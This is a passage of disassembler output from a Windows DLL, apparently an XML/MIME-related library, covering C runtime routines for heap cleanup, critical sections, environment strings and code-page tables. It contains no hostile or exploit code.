		call	ds:SetEvent	; SetEvent
		push	2710h		; dwMilliseconds
		push	0		; fWaitAll
		push	offset dword_69B95AF0 ;	pHandles
		push	1		; nCount
		call	sub_69B80843
		push	dword_69B95AF0	; hObject
		call	ds:CloseHandle	; CloseHandle
		and	dword_69B95AF0,	0
		jmp	loc_69B1E567
; END OF FUNCTION CHUNK	FOR sub_69B1E533
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1E4CF


loc_69B24AFE:				; CODE XREF: sub_69B1E4CF+28j
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle
		mov	[esi], ebx
		jmp	loc_69B1E4FD
; ---------------------------------------------------------------------------


loc_69B24B0C:				; CODE XREF: sub_69B1E4CF+41j
		call	sub_69B806C5
		mov	ecx, dword_69B95ADC
		cmp	ecx, ebx
		jz	short loc_69B24B28
		mov	esi, ecx
		call	sub_69B80A56
		push	esi
		call	sub_69B1B2B7


loc_69B24B28:				; CODE XREF: sub_69B1E4CF+664Aj
		push	offset stru_69B9B688 ; lpCriticalSection
		mov	dword_69B95ADC,	ebx
		call	ebp ; DeleteCriticalSection
		jmp	loc_69B1E516
; ---------------------------------------------------------------------------


loc_69B24B3A:				; CODE XREF: sub_69B1E4CF+4Ej
		push	hModule		; hInstance
		push	offset ClassName ; "XMLMimeWnd"
		call	UnregisterClassA	; UnregisterClassA
		mov	word_69B95AEC, bx
		jmp	loc_69B1E523
; ---------------------------------------------------------------------------


loc_69B24B57:				; CODE XREF: sub_69B1E4CF+5Aj
		mov	esi, offset stru_69B9B6A0
		push	esi		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	ecx, dword_69B95AD8
		cmp	ecx, ebx
		jz	short loc_69B24B7C
		push	edi
		mov	edi, ecx
		call	sub_69B80DF3
		push	edi
		call	sub_69B1B2B7
		pop	edi


loc_69B24B7C:				; CODE XREF: sub_69B1E4CF+669Cj
		push	esi		; lpCriticalSection
		mov	dword_69B95AD8,	ebx
		call	ds:LeaveCriticalSection
		push	esi		; lpCriticalSection
		call	ebp ; DeleteCriticalSection
		jmp	loc_69B1E52F
; END OF FUNCTION CHUNK	FOR sub_69B1E4CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1B625


loc_69B24B91:				; CODE XREF: sub_69B1B625+43j
		call	edi ; GetProcessHeap
		push	eax		; hHeap
		call	ds:HeapFree
		jmp	loc_69B1B762
; ---------------------------------------------------------------------------


loc_69B24B9F:				; CODE XREF: sub_69B1B625+7Ej
		or	byte ptr dword_69B95B00+1, 80h
		jmp	loc_69B1B6A9
; ---------------------------------------------------------------------------


loc_69B24BAB:				; CODE XREF: sub_69B1B625+AEj
					; sub_69B1B625+9595j
		call	sub_69B11F65
		jmp	loc_69B1B762
; ---------------------------------------------------------------------------


loc_69B24BB5:				; CODE XREF: sub_69B1B625+D0j
					; sub_69B1B625+138j
		call	sub_69B11F44
		jmp	short loc_69B24BAB
; ---------------------------------------------------------------------------


loc_69B24BBC:				; CODE XREF: sub_69B1B625+101j
		cmp	eax, 2
		jnz	short loc_69B24C09
		mov	edx, 8Ch
		call	sub_69B1CE89
		mov	esi, eax
		test	esi, esi
		jz	loc_69B1B762
		push	esi
		push	dword_69B9267C
		call	dword_69B95B34
		test	eax, eax
		push	esi
		jz	short loc_69B24BFE
		call	sub_69B84D69
		pop	ecx
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		jmp	loc_69B1B71C
; ---------------------------------------------------------------------------


loc_69B24BFE:				; CODE XREF: sub_69B1B625+95C0j
		call	sub_69B1D1FD
		pop	ecx
		jmp	loc_69B1B762
; ---------------------------------------------------------------------------


loc_69B24C09:				; CODE XREF: sub_69B1B625+959Aj
		cmp	eax, 3
		jnz	loc_69B1B71C
		push	0
		call	sub_69B84F60
		pop	ecx
		jmp	loc_69B1B71C
; END OF FUNCTION CHUNK	FOR sub_69B1B625
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1BAE5


loc_69B24C1F:				; CODE XREF: sub_69B1BAE5-23j
		push	edi
		push	esi
		push	ebx
		call	eax ; dword_69B96130
		test	eax, eax
		jnz	loc_69B1BAC8


loc_69B24C2C:				; CODE XREF: sub_69B1BAE5:loc_69B1BAFFj
		xor	eax, eax
		jmp	loc_69B1BB24
; ---------------------------------------------------------------------------


loc_69B24C33:				; CODE XREF: sub_69B1BAE5+36j
		push	edi
		push	eax
		push	ebx
		call	sub_69B1B625
		jmp	loc_69B1B5F1
; ---------------------------------------------------------------------------


loc_69B24C40:				; CODE XREF: sub_69B1BAE5-4E2j
		and	[ebp+arg_4], eax
		jmp	loc_69B1B609
; ---------------------------------------------------------------------------


loc_69B24C48:				; CODE XREF: sub_69B1BAE5-4C5j
		push	edi
		push	esi
		push	ebx
		call	eax ; dword_69B96130
		mov	[ebp+arg_4], eax
		jmp	loc_69B1BB21
; END OF FUNCTION CHUNK	FOR sub_69B1BAE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B11482


loc_69B24C55:				; CODE XREF: sub_69B11482+4Dj
		cmp	ecx, 400h
		jz	short loc_69B24C7B
		cmp	ecx, 800h
		jz	short loc_69B24C74
		cmp	ecx, esi
		jnz	loc_69B114D5
		or	eax, edi
		jmp	loc_69B114D5
; ---------------------------------------------------------------------------


loc_69B24C74:				; CODE XREF: sub_69B11482+137E1j
		or	eax, ebp
		jmp	loc_69B114D5
; ---------------------------------------------------------------------------


loc_69B24C7B:				; CODE XREF: sub_69B11482+137D9j
		or	eax, 100h
		jmp	loc_69B114D5
; ---------------------------------------------------------------------------


loc_69B24C85:				; CODE XREF: sub_69B11482+66j
		or	eax, 40000h
		jmp	locret_69B114EE
; END OF FUNCTION CHUNK	FOR sub_69B11482
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1D2AB


loc_69B24C8F:				; CODE XREF: sub_69B1D2AB+42j
		cmp	ecx, 100h
		jz	short loc_69B24CB7
		cmp	ecx, esi
		jz	short loc_69B24CAD
		cmp	ecx, edx
		jnz	loc_69B1D2F3
		or	eax, 0C00h
		jmp	loc_69B1D2F3
; ---------------------------------------------------------------------------


loc_69B24CAD:				; CODE XREF: sub_69B1D2AB+79EEj
		or	eax, 800h
		jmp	loc_69B1D2F3
; ---------------------------------------------------------------------------


loc_69B24CB7:				; CODE XREF: sub_69B1D2AB+79EAj
		or	eax, 400h
		jmp	loc_69B1D2F3
; ---------------------------------------------------------------------------


loc_69B24CC1:				; CODE XREF: sub_69B1D2AB+63j
		or	eax, 1000h
		jmp	locret_69B1D314
; END OF FUNCTION CHUNK	FOR sub_69B1D2AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1BA9C


loc_69B24CCB:				; CODE XREF: sub_69B1BA9C+Fj
		call	eax
		jmp	loc_69B1BAB1
; END OF FUNCTION CHUNK	FOR sub_69B1BA9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1BA12


loc_69B24CD2:				; CODE XREF: sub_69B1BA12+3Dj
					; sub_69B1BA12+92DFj
		mov	eax, dword_69B9B79C


loc_69B24CD7:				; CODE XREF: sub_69B1BA12+92DBj
		sub	eax, 4
		mov	dword_69B9B79C,	eax
		cmp	eax, dword_69B96124
		jb	loc_69B1BA55
		cmp	[eax], edi
		jz	short loc_69B24CD7
		call	dword ptr [eax]
		jmp	short loc_69B24CD2
; ---------------------------------------------------------------------------


loc_69B24CF3:				; CODE XREF: sub_69B1BA12+6Fj
		mov	dword_69B95B28,	esi
		push	8
		call	sub_69B1D1C5
		pop	ecx
		push	dword ptr [ebp+8] ; uExitCode
		call	sub_69B84D0D
; ---------------------------------------------------------------------------
unk_69B24D09	db  33h	; 3		; DATA XREF: .text:69B1BA98o
		db 0FFh
		db  33h	; 3
		db 0F6h	; ö
		db  46h	; F
		db 0E9h	; é
		db  13h
		db 0D2h	; Ò
		db 0FEh	; þ
		db 0FFh
; END OF FUNCTION CHUNK	FOR sub_69B1BA12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1CD73


loc_69B24D13:				; CODE XREF: sub_69B1CD73+7j
		call	sub_69B11F44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_69B24D1B:				; CODE XREF: sub_69B1CD73+E6j
		xor	eax, eax
		jmp	loc_69B1CE51
; END OF FUNCTION CHUNK	FOR sub_69B1CD73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1D1FD


loc_69B24D22:				; CODE XREF: sub_69B1D1FD+1Aj
		push	4
		call	sub_69B113FC
		pop	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		call	sub_69B85B4C
		pop	ecx
		mov	[ebp-1Ch], eax
		test	eax, eax
		jz	short loc_69B24D45
		push	esi
		push	eax
		call	sub_69B85B77
		pop	ecx
		pop	ecx


loc_69B24D45:				; CODE XREF: sub_69B1D1FD+7B3Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B24D60
		cmp	dword ptr [ebp-1Ch], 0
		jnz	loc_69B1D22C
		push	dword ptr [ebp+8]
		jmp	loc_69B1D21E
; END OF FUNCTION CHUNK	FOR sub_69B1D1FD

; =============== S U B	R O U T	I N E =======================================



sub_69B24D60	proc near		; CODE XREF: sub_69B1D1FD+7B4Cp
					; DATA XREF: .text:69B1D240o
		push	4
		call	sub_69B1D1C5
		pop	ecx
		retn
sub_69B24D60	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19560


loc_69B24D69:				; CODE XREF: sub_69B19560+12j
		push	esi		; dwMilliseconds
		call	ds:Sleep	; Sleep
		lea	eax, [esi+3E8h]
		cmp	eax, 0EA60h
		jbe	loc_69B1957E
		or	eax, 0FFFFFFFFh
		jmp	loc_69B1957E
; END OF FUNCTION CHUNK	FOR sub_69B19560
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1CE89


loc_69B24D89:				; CODE XREF: sub_69B1CE89+17j
		push	esi		; dwMilliseconds
		call	ds:Sleep	; Sleep
		lea	eax, [esi+3E8h]
		cmp	eax, 0EA60h
		jbe	loc_69B1CEAD
		or	eax, 0FFFFFFFFh
		jmp	loc_69B1CEAD
; END OF FUNCTION CHUNK	FOR sub_69B1CE89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B11383


loc_69B24DA9:				; CODE XREF: sub_69B11383+B125j
		mov	eax, [ebp-28h]
		cmp	eax, esi
		jz	loc_69B1C4AE
		mov	edi, [eax]
		lea	ebx, [eax+4]
		lea	eax, [edi+ebx]
		mov	[ebp-60h], eax
		mov	eax, 800h
		cmp	edi, eax
		jl	short loc_69B24DCA
		mov	edi, eax


loc_69B24DCA:				; CODE XREF: sub_69B11383+13A43j
		xor	esi, esi
		inc	esi
		jmp	short loc_69B24E14
; ---------------------------------------------------------------------------


loc_69B24DCF:				; CODE XREF: sub_69B11383+13A97j
		mov	ecx, 480h
		call	sub_69B19560
		test	eax, eax
		jz	short loc_69B24E1E
		lea	ecx, dword_69B96020[esi*4]
		mov	[ecx], eax
		add	uNumber, 20h
		lea	edx, [eax+480h]
		jmp	short loc_69B24E0F
; ---------------------------------------------------------------------------


loc_69B24DF5:				; CODE XREF: sub_69B11383+13A8Ej
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		and	dword ptr [eax+8], 0
		add	eax, 24h
		mov	edx, [ecx]
		add	edx, 480h


loc_69B24E0F:				; CODE XREF: sub_69B11383+13A70j
		cmp	eax, edx
		jb	short loc_69B24DF5
		inc	esi


loc_69B24E14:				; CODE XREF: sub_69B11383+13A4Aj
		cmp	uNumber, edi
		jl	short loc_69B24DCF
		jmp	short loc_69B24E24
; ---------------------------------------------------------------------------


loc_69B24E1E:				; CODE XREF: sub_69B11383+13A58j
		mov	edi, uNumber


loc_69B24E24:				; CODE XREF: sub_69B11383+13A99j
		and	dword ptr [ebp-64h], 0
		test	edi, edi
		jle	loc_69B1C4AE


loc_69B24E30:				; CODE XREF: sub_69B11383+13B16j
		mov	eax, [ebp-60h]
		mov	ecx, [eax]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_69B24E8E
		mov	al, [ebx]
		test	al, 1
		jz	short loc_69B24E8E
		test	al, 8
		jnz	short loc_69B24E4F
		push	ecx		; hFile
		call	ds:GetFileType	; GetFileType
		test	eax, eax
		jz	short loc_69B24E8E


loc_69B24E4F:				; CODE XREF: sub_69B11383+13ABFj
		mov	eax, [ebp-64h]
		mov	ecx, eax
		sar	ecx, 5
		and	eax, 1Fh
		lea	eax, [eax+eax*8]
		mov	ecx, dword_69B96020[ecx*4]
		lea	esi, [ecx+eax*4]
		mov	eax, [ebp-60h]
		mov	eax, [eax]
		mov	[esi], eax
		mov	al, [ebx]
		mov	[esi+4], al
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B19C19
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_69B1C53E
		inc	dword ptr [esi+8]


loc_69B24E8E:				; CODE XREF: sub_69B11383+13AB5j
					; sub_69B11383+13ABBj ...
		inc	dword ptr [ebp-64h]
		inc	ebx
		add	dword ptr [ebp-60h], 4
		cmp	[ebp-64h], edi
		jl	short loc_69B24E30
		jmp	loc_69B1C4AE
; ---------------------------------------------------------------------------


loc_69B24EA0:				; CODE XREF: sub_69B11383+B11Cj
		or	byte ptr [esi+4], 8
		jmp	loc_69B1C4FC
; END OF FUNCTION CHUNK	FOR sub_69B11383

; =============== S U B	R O U T	I N E =======================================



sub_69B24EA9	proc near		; DATA XREF: .text:69B113F4o
		xor	eax, eax
		inc	eax
		retn
sub_69B24EA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B24EAD	proc near		; DATA XREF: .text:69B113F8o
		mov	esp, [ebp-18h]
		or	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jmp	loc_69B1C527
sub_69B24EAD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1949B


loc_69B24EBB:				; CODE XREF: sub_69B1949B+9j
		call	sub_69B1CFC6
		jmp	loc_69B194AA
; ---------------------------------------------------------------------------


loc_69B24EC5:				; CODE XREF: sub_69B1949B+16j
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_69B24ECA:				; CODE XREF: sub_69B1949B+5Bj
		or	eax, 0FFFFFFFFh
		jmp	loc_69B1D1F9
; ---------------------------------------------------------------------------


loc_69B24ED2:				; CODE XREF: sub_69B1949B+91j
		push	dword_69B95B18
		call	sub_69B1D1FD
		and	dword_69B95B18,	0
		or	eax, 0FFFFFFFFh
		jmp	loc_69B1D1F8
; END OF FUNCTION CHUNK	FOR sub_69B1949B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1A319


loc_69B24EEC:				; CODE XREF: sub_69B1A319+26j
		xor	ecx, ecx
		test	edx, edx
		setz	cl
		inc	eax
		mov	edx, ecx
		mov	cl, 22h
		jmp	loc_69B1A36E
; ---------------------------------------------------------------------------


loc_69B24EFD:				; CODE XREF: sub_69B1A319+44j
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_69B24F08
		mov	bl, [eax]
		mov	[edi], bl
		inc	edi


loc_69B24F08:				; CODE XREF: sub_69B1A319+ABE8j
		inc	eax
		jmp	loc_69B1A363
; ---------------------------------------------------------------------------


loc_69B24F0E:				; CODE XREF: sub_69B1A319+B7j
		test	dl, 1
		jnz	short loc_69B24F32
		cmp	[ebp+var_4], 0
		jz	short loc_69B24F25
		lea	ecx, [eax+1]
		cmp	byte ptr [ecx],	22h
		jnz	short loc_69B24F25
		mov	eax, ecx
		jmp	short loc_69B24F27
; ---------------------------------------------------------------------------


loc_69B24F25:				; CODE XREF: sub_69B1A319+ABFEj
					; sub_69B1A319+AC06j
		xor	ebx, ebx


loc_69B24F27:				; CODE XREF: sub_69B1A319+AC0Aj
		xor	ecx, ecx
		cmp	[ebp+var_4], ecx
		setz	cl
		mov	[ebp+var_4], ecx


loc_69B24F32:				; CODE XREF: sub_69B1A319+ABF8j
		shr	edx, 1
		jmp	loc_69B1A3D6
; ---------------------------------------------------------------------------


loc_69B24F39:				; CODE XREF: sub_69B1A319+BFj
					; sub_69B1A319+AC2Bj
		test	edi, edi
		jz	short loc_69B24F41
		mov	byte ptr [edi],	5Ch
		inc	edi


loc_69B24F41:				; CODE XREF: sub_69B1A319+AC22j
		inc	dword ptr [esi]
		dec	edx
		jnz	short loc_69B24F39
		jmp	loc_69B1A3DE
; ---------------------------------------------------------------------------


loc_69B24F4B:				; CODE XREF: sub_69B1A319+F9j
		mov	[edi], cl
		inc	edi
		inc	eax
		inc	dword ptr [esi]
		jmp	loc_69B1A418
; ---------------------------------------------------------------------------


loc_69B24F56:				; CODE XREF: sub_69B1A319+115j
		inc	eax
		inc	dword ptr [esi]
		jmp	loc_69B1A41D
; END OF FUNCTION CHUNK	FOR sub_69B1A319
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1CF24


loc_69B24F5E:				; CODE XREF: sub_69B1CF24+6Ej
		or	eax, 0FFFFFFFFh
		jmp	loc_69B1CFBD
; END OF FUNCTION CHUNK	FOR sub_69B1CF24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B112C0


loc_69B24F66:				; CODE XREF: sub_69B112C0+26j
		call	ds:GetLastError
		cmp	eax, 78h
		jnz	short loc_69B24F7D
		mov	eax, ebp
		mov	dword_69B95C48,	eax
		jmp	loc_69B11375
; ---------------------------------------------------------------------------


loc_69B24F7D:				; CODE XREF: sub_69B112C0+13CAFj
		mov	eax, dword_69B95C48
		jmp	loc_69B11375
; ---------------------------------------------------------------------------


loc_69B24F87:				; CODE XREF: sub_69B112C0+38j
		call	edi ; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_69B24FAF
		jmp	loc_69B112FE
; ---------------------------------------------------------------------------


loc_69B24F94:				; CODE XREF: sub_69B112C0+9Bj
		push	[esp+18h+var_8]
		call	sub_69B1D1FD
		pop	ecx
		mov	[esp+18h+var_8], ebx
		jmp	loc_69B11361
; ---------------------------------------------------------------------------


loc_69B24FA7:				; CODE XREF: sub_69B112C0+B8j
		cmp	eax, ebp
		jz	short loc_69B24FB6
		cmp	eax, ebx
		jz	short loc_69B24FB6


loc_69B24FAF:				; CODE XREF: sub_69B112C0+13CCDj
					; sub_69B112C0+13D00j
		xor	eax, eax
		jmp	loc_69B1136E
; ---------------------------------------------------------------------------


loc_69B24FB6:				; CODE XREF: sub_69B112C0+13CE9j
					; sub_69B112C0+13CEDj
		call	ds:GetEnvironmentStrings	; GetEnvironmentStrings
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_69B24FAF
		cmp	[ebp+0], bl
		jz	short loc_69B24FD1


loc_69B24FC7:				; CODE XREF: sub_69B112C0+13D0Aj
					; sub_69B112C0+13D0Fj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_69B24FC7
		inc	eax
		cmp	[eax], bl
		jnz	short loc_69B24FC7


loc_69B24FD1:				; CODE XREF: sub_69B112C0+13D05j
		sub	eax, ebp
		inc	eax
		mov	esi, eax
		mov	ecx, esi
		call	sub_69B19560
		cmp	eax, ebx
		jz	short loc_69B24FF7
		mov	ecx, esi
		mov	edx, ecx
		shr	ecx, 2
		mov	esi, ebp
		mov	edi, eax
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ebx, eax


loc_69B24FF7:				; CODE XREF: sub_69B112C0+13D1Fj
		push	ebp		; LPSTR
		call	ds:FreeEnvironmentStringsA	; FreeEnvironmentStringsA
		jmp	loc_69B1136C
; END OF FUNCTION CHUNK	FOR sub_69B112C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1CD1E


loc_69B25003:				; CODE XREF: sub_69B1CD1E+31j
		push	3F8h
		call	sub_69B85B04
		test	eax, eax
		pop	ecx
		jnz	loc_69B1CD55
		push	dword_69B96000	; hHeap
		call	ds:HeapDestroy	; HeapDestroy


loc_69B25022:				; CODE XREF: sub_69B1CD1E+1Ej
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_69B1CD1E

; =============== S U B	R O U T	I N E =======================================



sub_69B25025	proc near		; CODE XREF: sub_69B11F65+7j
		push	ebx
		xor	ebx, ebx
		cmp	dword_69B9B784,	ebx
		push	ebp
		mov	ebp, ds:HeapFree
		jle	short loc_69B2507C
		push	esi
		mov	esi, dword_69B9B788
		push	edi
		mov	edi, ds:VirtualFree
		add	esi, 0Ch


loc_69B25048:				; CODE XREF: sub_69B25025+53j
		push	4000h		; dwFreeType
		push	100000h		; dwSize
		push	dword ptr [esi]	; lpAddress
		call	edi ; VirtualFree
		push	8000h		; dwFreeType
		push	0		; dwSize
		push	dword ptr [esi]	; lpAddress
		call	edi ; VirtualFree
		push	dword ptr [esi+4] ; lpMem
		push	0		; dwFlags
		push	dword_69B96000	; hHeap
		call	ebp ; HeapFree
		add	esi, 14h
		inc	ebx
		cmp	ebx, dword_69B9B784
		jl	short loc_69B25048
		pop	edi
		pop	esi


loc_69B2507C:				; CODE XREF: sub_69B25025+10j
		push	dword_69B9B788	; lpMem
		push	0		; dwFlags
		push	dword_69B96000	; hHeap
		call	ebp ; HeapFree
		pop	ebp
		pop	ebx
		jmp	loc_69B11F72
sub_69B25025	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19BD6


loc_69B25093:				; CODE XREF: sub_69B19BD6+3Bj
		and	lpCriticalSection[esi*8], 0
		xor	eax, eax
		jmp	loc_69B19BF2
; END OF FUNCTION CHUNK	FOR sub_69B19BD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1A509


loc_69B250A2:				; CODE XREF: sub_69B1A509-5j
		push	edi		; lpCriticalSection
		call	ebx ; DeleteCriticalSection
		push	edi
		call	sub_69B1D1FD
		and	dword ptr [esi], 0
		pop	ecx
		jmp	loc_69B1A523
; END OF FUNCTION CHUNK	FOR sub_69B1A509
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B113FC


loc_69B250B4:				; CODE XREF: sub_69B113FC+Fj
		push	eax
		call	sub_69B85853
		test	eax, eax
		pop	ecx
		jnz	loc_69B11411
		push	11h
		call	sub_69B84A5B
		pop	ecx
		jmp	loc_69B11411
; END OF FUNCTION CHUNK	FOR sub_69B113FC

; =============== S U B	R O U T	I N E =======================================



sub_69B250D0	proc near		; CODE XREF: sub_69B19189+42j
		push	ebx
		lea	edx, [ebp-0Dh]
		push	edi


loc_69B250D5:				; CODE XREF: sub_69B250D0+32j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_69B250FC
		sub	ecx, eax
		inc	ecx
		mov	ebx, ecx
		shr	ecx, 2
		lea	edi, [ebp+eax-114h]
		mov	eax, 20202020h
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_69B250FC:				; CODE XREF: sub_69B250D0+Dj
		inc	edx
		mov	al, [edx]
		inc	edx
		test	al, al
		jnz	short loc_69B250D5
		pop	edi
		pop	ebx
		jmp	loc_69B191D1
sub_69B250D0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19189


loc_69B2510B:				; CODE XREF: sub_69B19189+22j
		xor	eax, eax


loc_69B2510D:				; CODE XREF: sub_69B19189+BFC4j
		cmp	eax, 41h
		jb	short loc_69B2512B
		cmp	eax, 5Ah
		ja	short loc_69B2512B
		or	byte_69B95DE1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_69B25123:				; CODE XREF: sub_69B19189+BFB8j
		mov	byte_69B95F00[eax], cl
		jmp	short loc_69B2514A
; ---------------------------------------------------------------------------


loc_69B2512B:				; CODE XREF: sub_69B19189+BF87j
					; sub_69B19189+BF8Cj
		cmp	eax, 61h
		jb	short loc_69B25143
		cmp	eax, 7Ah
		ja	short loc_69B25143
		or	byte_69B95DE1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_69B25123
; ---------------------------------------------------------------------------


loc_69B25143:				; CODE XREF: sub_69B19189+BFA5j
					; sub_69B19189+BFAAj
		mov	byte_69B95F00[eax], 0


loc_69B2514A:				; CODE XREF: sub_69B19189+BFA0j
		inc	eax
		cmp	eax, esi
		jb	short loc_69B2510D
		jmp	loc_69B19268
; END OF FUNCTION CHUNK	FOR sub_69B19189
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1D0A4


loc_69B25154:				; CODE XREF: sub_69B1D0A4+5Ej
		cmp	[ebp+CPInfo.LeadByte], 0
		jz	loc_69B2521B
		lea	ecx, [ebp+CPInfo.LeadByte+1]


loc_69B25161:				; CODE XREF: sub_69B1D0A4+8171j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_69B2521B
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl
		jmp	loc_69B2520B
; ---------------------------------------------------------------------------


loc_69B25177:				; CODE XREF: sub_69B1D0A4+1Cj
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_69B95DE0
		rep stosd
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		mov	[ebp+var_4], ebx
		stosb
		lea	ebx, dword_69B92840[ecx]


loc_69B25193:				; CODE XREF: sub_69B1D0A4+812Cj
		mov	al, [ebx]
		mov	esi, ebx
		jmp	short loc_69B251C2
; ---------------------------------------------------------------------------


loc_69B25199:				; CODE XREF: sub_69B1D0A4+8120j
		mov	dl, [esi+1]
		test	dl, dl
		jz	short loc_69B251C6
		movzx	eax, al
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_69B251BE
		mov	edx, [ebp+var_4]
		mov	dl, byte_69B9AC68[edx]


loc_69B251B3:				; CODE XREF: sub_69B1D0A4+8118j
		or	byte_69B95DE1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_69B251B3


loc_69B251BE:				; CODE XREF: sub_69B1D0A4+8104j
		inc	esi
		inc	esi
		mov	al, [esi]


loc_69B251C2:				; CODE XREF: sub_69B1D0A4+80F3j
		test	al, al
		jnz	short loc_69B25199


loc_69B251C6:				; CODE XREF: sub_69B1D0A4+80FAj
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_69B25193
		mov	eax, [ebp+CodePage]
		mov	CodePage, eax
		mov	dword_69B95DC0,	1
		call	sub_69B85AAC
		lea	ecx, dword_69B92834[ecx]
		mov	esi, ecx
		mov	edi, offset word_69B95EF0
		movsd
		movsd
		mov	dword_69B95DB8,	eax
		movsd
		jmp	loc_69B1D118
; ---------------------------------------------------------------------------


loc_69B25203:				; CODE XREF: sub_69B1D0A4+8169j
		or	byte_69B95DE1[eax], 4
		inc	eax


loc_69B2520B:				; CODE XREF: sub_69B1D0A4+80CEj
		cmp	eax, edx
		jbe	short loc_69B25203
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_69B25161


loc_69B2521B:				; CODE XREF: sub_69B1D0A4+80B4j
					; sub_69B1D0A4+80C1j
		xor	ecx, ecx
		inc	ecx
		mov	eax, ecx


loc_69B25220:				; CODE XREF: sub_69B1D0A4+8189j
		or	byte_69B95DE1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_69B25220
		mov	eax, esi
		call	sub_69B85AAC
		mov	dword_69B95DB8,	eax
		mov	dword_69B95DC0,	ecx
		jmp	loc_69B1D10E
; ---------------------------------------------------------------------------


loc_69B25246:				; CODE XREF: sub_69B1D0A4+3Bj
		cmp	dword_69B95DA0,	ebx
		jnz	loc_69B1D124
		or	eax, 0FFFFFFFFh
		jmp	loc_69B1D11F
; END OF FUNCTION CHUNK	FOR sub_69B1D0A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1CFE4


loc_69B2525A:				; CODE XREF: sub_69B1CFE4+29j
		mov	dword_69B95DA0,	1
		call	ds:GetOEMCP	; GetOEMCP
		jmp	loc_69B1D02C
; ---------------------------------------------------------------------------


loc_69B2526F:				; CODE XREF: sub_69B1CFE4+16Cj
		mov	dword_69B95DA0,	1
		mov	eax, dword_69B9B754
		jmp	loc_69B1D02C
; ---------------------------------------------------------------------------


loc_69B25283:				; CODE XREF: sub_69B1CFE4+1C0j
		cmp	esi, dword_69B95DBC
		jz	loc_69B1D1AA
		push	esi
		call	sub_69B1D1FD
		pop	ecx
		jmp	loc_69B1D1AA
; END OF FUNCTION CHUNK	FOR sub_69B1CFE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19587


loc_69B2529B:				; CODE XREF: sub_69B19587+1Fj
		cmp	eax, 3
		jnz	short loc_69B252AF
		push	ebx
		call	sub_69B86348
		test	eax, eax
		pop	ecx
		jnz	loc_69B195BD


loc_69B252AF:				; CODE XREF: sub_69B19587+BD17j
		test	ebx, ebx
		jnz	short loc_69B252B6
		xor	edi, edi
		inc	edi


loc_69B252B6:				; CODE XREF: sub_69B19587+BD2Aj
		add	edi, 0Fh
		and	edi, 0FFFFFFF0h
		push	edi
		jmp	loc_69B195B3
; ---------------------------------------------------------------------------


loc_69B252C2:				; CODE XREF: sub_69B19587+3Aj
		cmp	dword_69B9B75C,	eax
		jz	loc_69B195C7
		push	ebx
		call	sub_69B86E3A
		jmp	loc_69B195D3
